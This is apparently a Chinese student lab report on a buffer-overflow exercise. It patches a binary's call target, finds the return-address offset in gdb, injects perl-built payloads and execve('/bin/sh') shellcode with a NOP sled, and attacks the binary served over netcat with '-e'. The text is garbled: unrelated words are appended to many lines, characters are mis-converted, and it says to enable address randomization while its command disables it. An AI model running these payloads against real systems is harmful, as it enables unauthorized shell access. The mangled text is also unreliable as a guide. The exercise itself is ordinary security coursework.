NOP, JNE, JE, JMP, CMP彙編指令的機器碼shell
反彙編與十六進制編程器編程
正確修改機器指令改變程序執行流程安全
正確構造payload進行bof攻擊網絡
對/Desktop/20164306目錄中的pwn1進行反彙編併發
objdump -d Desktop/20164306/pwn1
main 函數在 80484b5 處調用 8048491 的 foo 函數frontend
對應機器指令爲 e8d7ffffff ,其中 e8 爲跳轉,d7ffffff爲補碼,0xd7 → 1101 0111 → 0010 1001 → 0x29dom
0xb5 + 0x05 = 0xba編輯器
0xba - 0x29 = 0x91函數
getShell 函數位於 804847d學習
0x7d - 0xba = -0x3d 轉換成補碼爲 0xc3
解鎖、安裝並運行十六進制編輯器
sudo rm /var/lib/dpkg/lock-frontend
sudo apt-get install wxhexeditor
wxHexEditor
將對應位置的 d7 修改成 c3 ,再次反彙編確認結果
使用先前備份的pwn2進行實驗
cd Desktop/20164306/
cp pwn1 pwn2
main 函數調用 foo 函數,foo 函數中存在 Buffer overflow 漏洞
讀入字符串時,系統僅預留了 0x1c 即 28 個字節的緩衝區
可以經過覆蓋返回地址 80484ba 實現攻擊
嘗試輸入字符串並判斷具體是哪些字符會覆蓋到返回地址
以八位爲一組構造字符串進行調試
chmod 777 pwn2
gdb pwn2
r
1111111122222222333333334444444455555555
info r
發生了段錯誤,且根據 eip 數值,發現從數字 5(ASCII 碼值 53 = 0x35)開始溢出,因此第 33 至第 40 個字符中的某些字符將覆蓋返回地址
再次構造字符串
1111111122222222333333334444444412345678
根據 eip 數值,肯定 1234 將會覆蓋返回地址
爲使返回地址指向 0804847d 處的 getShell 函數,須要構造如下字符串
11111111222222223333333344444444\x7d\x84\x04\x08
使用 perl 輸出上述字符串,以轉換其中的 16 進制數,輸出重定向至文件 4306 中
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08"' > 4306
查看輸出
確認無誤後,查看文件並經過管道將查看結果送入 pwn2 中運行
(cat 4306; cat) | ./pwn2
輸入回車,完成字符串輸入,然後輸入 ls 命令,可以獲取當前文件目錄,攻擊成功
如下 shellcode 將被用於攻擊
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80
實驗前須要設置堆棧可執行並開啓地址隨機化
execstack -s pwn2 echo "0" > /proc/sys/kernel/randomize_va_space
鏈接對應進程,分析並尋找 shellcode 首地址所在區間
構造並注入 payload ,其中返回地址爲 0xfff841e1 ← 落在 nop 區間內的一個地址
(perl -e 'print "A" x 32;print "\xe1\x41\xf8\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"';cat) | ./pwn2
驗證攻擊結果
若是不關閉地址隨機化,每次運行 pwn2 產生新的進程會分配新的緩衝區地址,除非 nop 夠大不然不可能成功
查看主機ip
ifconfig
模擬一個有漏洞的網絡服務
nc -l 192.168.176.130 -p 4306 -e ./pwn2
打開新的終端,鏈接主機併發起攻擊
(cat 4306; cat) | nc 192.168.176.130 4306
驗證攻擊結果
靶機終端提示「段錯誤」,攻擊者完成入侵
經過實驗學習了機器指令運行的基本流程,瞭解了 Bof 攻擊的基本原理
經過模擬三種不一樣情境下的攻擊方式,全面認識到 Bof 攻擊的危害,同時也思考了針對該類攻擊的防護辦法
(一)在編寫程序時重視邊界控制,設計針對非法輸入的處理流程
(二)部分 CPU 運行時數據段和代碼段的線性地址重疊,可以提供硬件級別的保護
(三)關閉堆棧可執行,開啓內存隨機化,修復系統漏洞,預防惡意程序入侵
但安全與方便老是相對立而存在的,繁瑣的安全策略必然會下降系統的運行效率
所以咱們在預防攻擊的同時須要注意上述兩者之間的平衡,經過實驗不斷學習,不斷探索更高效的預防策略